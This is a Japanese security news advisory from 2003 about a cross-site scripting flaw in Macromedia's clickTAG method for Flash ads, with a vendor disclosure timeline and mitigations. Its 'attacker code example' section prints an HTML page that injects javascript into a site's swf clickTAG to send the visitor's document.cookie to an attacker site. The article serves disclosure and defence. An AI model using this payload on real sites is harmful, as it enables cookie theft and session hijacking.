Flash AD に CSS 脆弱性 | ScanNetSecurity
2024.04.19(金)

Flash AD に CSS 脆弱性

──────────────────────────────〔Info〕──
セキュリティメルマガ 春の [85%] オフキャンペーン

製品・サービス・業界動向 業界動向
──────────────────────────────〔Info〕──
セキュリティメルマガ 春の [85%] オフキャンペーン

【個人のお客様向け特別セット】既存のお客様もキャンペーン対象!
SCANシリーズ4誌合わせても4,800円/年   <<5月31日まで>>
お申込は→ http://shop.vagabond.co.jp/85/
───────────────────────────────────


 この脆弱性は、匿名の第三者が発見したものを、SCAN 編集部が提携先であるイスラエル SecuriTeam とともに検証を行ったものである。
 匿名の方およびイスラエル SecuriTeam に誌面を借りてお礼申し上げます。


>>この問題についての発表内容の相違に関する説明

 この問題については、マクロメディア社、 SecuriTeam、Scan Daily EXpress が公表を行っている。
 それぞれの意見の違いにより、内容が微妙に異なる。

 脆弱性の説明にあたり、3者(マクロメディア社、 SecuriTeam、Scan Daily EXpress )の関係者の間の基本的な意見の相違を説明する。

・影響範囲に関する意見の相違
 マクロメディア社:影響を受けるサイトは少数の大手広告配信事業者に限定される。
 SecuriTeam :この件については特に言明なし
 Scan Daily EXpress:大手広告配信事業者以外の大手サイトにも同種の問題を発見しているため、影響を受ける範囲は大手広告配信事業者に限定されない可能性がある。

・リスクの評価に関する意見の相違
 マクロメディア社:大手広告配信事業者のサイト上には重要な個人情報はほとんどないと考えられる。そのため、個人情報漏洩などのリスクは低いといえる。
 SecuriTeam :機構上、クロスサイトスクリプティング脆弱性がある以上、リスクは確かに存在している。
 Scan Daily EXpress:大手広告配信事業者以外の大手サイトにも同種の問題がある以上、個人情報漏洩の可能性は否定できない。このリスクは大きい。
大手広告配信事業者以外のサイトに危険性を知らせるためには、起こりうる可能性とリスクについて明記すべきである。


>>問題の概要

 マクロメディア社が推奨している Flash AD の方法には、任意のスクリプトをインジェクションできる問題があった。
 この問題を悪用することで、クロスサイトスクリプティング(CSS)などの攻撃を行うことが可能となっていた。
 cookie の盗用、セッションハイジャック(Persistent Cookie のみでのセッション管理をしている場合)が可能である。

マクロメディア社の発表したこの問題の内容
 *マクロメディア社の説明は、広告管理に関するものに限定して説明を行っている。そのため、同じドメインで発行されている cookie の盗用のリスクについての説明が抜けている。管理者は、同じドメイン上の他の cookie 盗用についても注意が必要である。
http://www.macromedia.com/support/flash/ts/documents/clicktag_security.htm
修正された Flash AD 制作ガイド
http://www.macromedia.com/resources/richmedia/tracking/designers_guide/
SecuriTeam による発表
http://www.securiteam.com/securitynews/5XP0B0U9PE.html


>>サイト利用者に対するリスク

 サイト利用者は Flash AD を掲載しているサイト(広告が表示されているサイトではなく、Flash ファイルのおかれているサイト)の cookie を盗用されるリスクがある。リスクは当該サイト(Flash ファイルのおかれているサイト)で発行している cookie の内容によって異なる。

 広告のトラッキングのみに利用している場合のリスクは低い。認証や個人を特定するための情報を含んだ cookie を発行している場合のリスクは高い。
 ターゲットとなる cookie は、 Flash AD を掲載しているページだけでなく、同じドメインに存在しているすべての cookie が対象となる。
 単に外部の広告配信サイトの Flash ファイルを表示している場合は問題ない。

 問題に対する対応はじゃっかん遅かったが、日本と本社との連携も行われていた。問題発見後、同社(米国)は主要な広告利用者に個別に連絡を行った模様である。問題発見後の事後対処体制比較的整備されていると考えられる。ただし、公表された内容には同じドメインの他の cookie が盗まれる危険性についての記述がない。このため、発表内容からより悪意ある第三者に深刻度の高い攻撃方法を類推されるという2次的なリスクが生じている。
 マクロメディア社では、Flash AD に用いる Flash ファイルをおいているのは少数の大手広告配信事業者に限定されていると判断している。それらのサイトでは、重要な情報を cookie で配布していないため、リスクは低いとコメントしている。

 Scan Daily EXpress が確認した範囲では、大手サイト内に、Flash AD に用いる Flash ファイルがおかれていた。例えば、大手サイトの中には、http://大手サイト/ad/clients/ddip/030414ddip.swf や http://大手サイト/adv/composite/20030324/y-0324conpojitte_p.swf のように自社のサイト内に Flash ファイルをおいているケースがある。
 これらのサイトでは、上記の危険が存在している。また、同様なサイトが他にも存在する可能性があると考えた。

 セキュリティリスク:高
 (マクロメディア社では低と判断されている)
 マネジメントリスク:低


>>影響の範囲

 すべての Flash プレイヤーに影響がある。
 すべての clickTAG を用いていた Flash AD を利用しているサイト(広告が表示されているサイトではなく、Flash ファイルのおかれているサイト)に影響がある。

 Flash AD を配信もしくは自社サイトに設置している事業者には、迅速な対応を期待したい。


>>脆弱な個所

 Flash AD では、「getURL(clickTAG)」を用いて広告のトラッキングを行う方法を推奨していた。
 しかし、「clickTAG」に第三者がスクリプトを仕込むことが可能であり、仕込まれたスクリプトを「getURL()」は、無効化することができない。
 そのため、スクリプトを用いたクロスサイトスクリプティングが可能となっている。


>>想定される悪用方法

 サイトAが、 Flash AD を用いている(サイト上に Flash ファイルを設置)ケースを想定。
 攻撃者Bは、攻撃用サイトCを作り、そこにサイトAのFLASHに、スクリプトをインジェクションして、誰かがサイトを訪れるのを待つ。
 サイトCを訪れたDという人物がFLASHをクリックすると、インジェクションされたスクリプトが実行される。
 この時、ブラウザは、サイトAのスクリプトを実行していると解釈する(これはブラウザの脆弱性ではない)。そのため、サイトAのスクリプトでなければできないこと=D氏の cookie 盗用、セッションハイジャック(これ以外の攻撃も可能)などを行うことが可能になる。なお、D氏が事前にサイトAの cookie をもっていなければセッションハイジャックの危険はない。

* 対象となる cookie は、 Flash AD が掲載されているドメイン(サイト上に Flash ファイルを設置)で発行されているものとなる。そのため当該ドメインで認証などの重要な情報を cookie を用いて管理した場合、深刻な問題となる。単に外部の広告配信サイトの Flash ファイルを表示している場合は問題ない。

・攻撃者コードの例
 (下記のコード)は匿名の発見者のコードを一部伏字にしたのものである)
攻撃用サイトCに下記のコードを記述します。

<HTML>
<HEAD>
<meta http-equiv=Content-Type content="text/html; charset=SHIFT_JIS">
<TITLE>banner</TITLE>
<script language="JavaScript">
<!─
function openWindow() {

win=window.open("http://サイトA/banner_b.swf?clickTag=javascript%3Awindow.open%28%27http%3A%2F%2Fwww.サイトC/message.html%3F%27+%2B+document.cookie%2C%27_top%27%29","popup",'statusbar.visible = false,scrollbars=1,width=400,height=60');
}
//─>
</script>
</HEAD>
<BODY bgcolor="#FFFFFF" onLoad="openWindow();">
hoge
</BODY>
</HTML>

攻撃用サイトCのページを開いたと同時に、popupウインドウが開く。
popup では、盗もうとしている cookie の発行元(サイトA)の flash ファイルの clickTAG に cookie を盗むスクリプトを仕込である。
D氏がクリックすると、サイトAがD氏に発行した cookieが、攻撃者のサイトCに渡される。

 また、フレームを用いて、下部に Flash AD を表示させることにより、違和感なく利用者を誘導することも可能である。


>>対処方法

 マクロメディア社では、Flash にスクリプトを無効化する機能をつけないと明言しているため、「getURL(clickTAG)」の利用による危険は続いている。
 事前に、「clickTAG」で与えられるパラメータが "http://" ではじまっていないものを排除する処理をマクロメディア社では推奨している。

 一般的に、不正なコードに対する措置には、サニタイジング(クロスサイトスクリプティングに利用される可能性のある文字列を無効化する方法)を用いることが推奨されている。「clickTAG」で与えられる文字列に対するサニタイジングの方法が確立されれば、さらに安全な利用が期待できる。

 なお、もっとも単純で有効な対処方法は、Flash ファイルを置くためだけのサブドメインを用意することである。これにより、攻撃者が奪取できる cookie は、当該サブドメイン上のもののみとなり、ほとんどの危険は回避できる。

 また、利用者の自衛策として javascript をオフにすることも有効である。オフであれば、クロスサイトスクリプティングは動かない。オフであっても「clickTAG」は正常に動作する。


>>当該ベンダへの連絡と対処状況

マクロメディア社の発表したこの問題の内容
(ここにある内容には前述した同じドメイン上の他の cookie 盗用の危険性が記述されていないので注意)
http://www.macromedia.com/support/flash/ts/documents/clicktag_security.htm
修正された Flash AD 制作ガイド
http://www.macromedia.com/resources/richmedia/tracking/designers_guide/

・連絡経緯(日時はいずれも日本時間)

2003年3月28日 匿名の発見者より最初の連絡が編集部に届く。編集部で検証を開始する。

2003年4月1日 匿名の発見者からテストコードを含む連絡が届く。編集部での検証が完了する。

2003年4月2日 マクロメディア(日本)社に編集部より連絡を行う。

2003年4月3日 編集部提携先であるイスラエル SecuriTeam(Beyond Security Ltd.) に連絡し、日本版以外での検証などを依頼する。

2003年4月4日 イスラエル SecuriTeam(Beyond Security Ltd.) からマクロメディア(米国)社の「international security contact」に連絡したいとの申し出が来る。了解する。

2003年4月7日 マクロメディア(日本)社から最初の回答が届く。問題の内容について、誤解があったため、再度、編集部よりくわしい説明を返信する。
同じ頃、イスラエル SecuriTeam(Beyond Security Ltd.) にも「international security contact」から同じような回答が届き、SecuriTeam が説明に困っている旨の連絡がある。

2003年4月11日 マクロメディア(日本)社より本社と連携して対処中である旨の連絡が届く。電話で検証チームと話しをしたい旨の依頼を受ける。検証担当がいないため、電話連絡は月曜になる。
マクロメディア社(米国)がこの問題を WEB に掲載する。

2003年4月12日 イスラエル SecuriTeam(Beyond Security Ltd.) からマクロメディア社(米国)が対処を完了した旨の連絡が編集部に入る。
編集部よりイスラエル SecuriTeam(Beyond Security Ltd.)に、マクロメディア(米国)社の公表内容に関する問題(同一ドメインの他ページの cookie 漏洩問題)を連絡。
イスラエル SecuriTeam(Beyond Security Ltd.)より、マクロメディア(米国)社にこの問題を連絡。

2003年4月14日 マクロメディア(日本)と電話による情報交換。マクロメディア社(米国)の WEB に同一ドメインの他の cookie 漏洩の問題を掲載しなかった理由および Flash による不正コードチェックについて確認を行う。
上記を反映した発表内容をマクロメディア社(日本)に送付し、主として技術内容に関しての確認を行う。
並行してイスラエル SecuriTeam(Beyond Security Ltd.)に、サブドメインを利用した問題回避方法を送る。同サイト上に "Workaround" として掲載された。
夕方、マクロメディア社(日本)と電話で送付した発表内容に関する情報交換を行う。その内容をもとにさらに修正を加える。
《ScanNetSecurity》

Scan PREMIUM 会員限定記事

もっと見る

Scan PREMIUM 会員限定記事特集をもっと見る

カテゴリ別新着記事

「経理」「営業」「企画」「プログラミング」「デザイン」と並ぶ、事業で成功するためのビジネスセンスが「セキュリティ」
「経理」「営業」「企画」「プログラミング」「デザイン」と並ぶ、事業で成功するためのビジネスセンスが「セキュリティ」

ページ右上「ユーザー登録」から会員登録すれば会員限定記事を閲覧できます。毎週月曜の朝、先週一週間のセキュリティ動向を総括しふりかえるメルマガをお届け。(写真:ScanNetSecurity 名誉編集長 りく)

×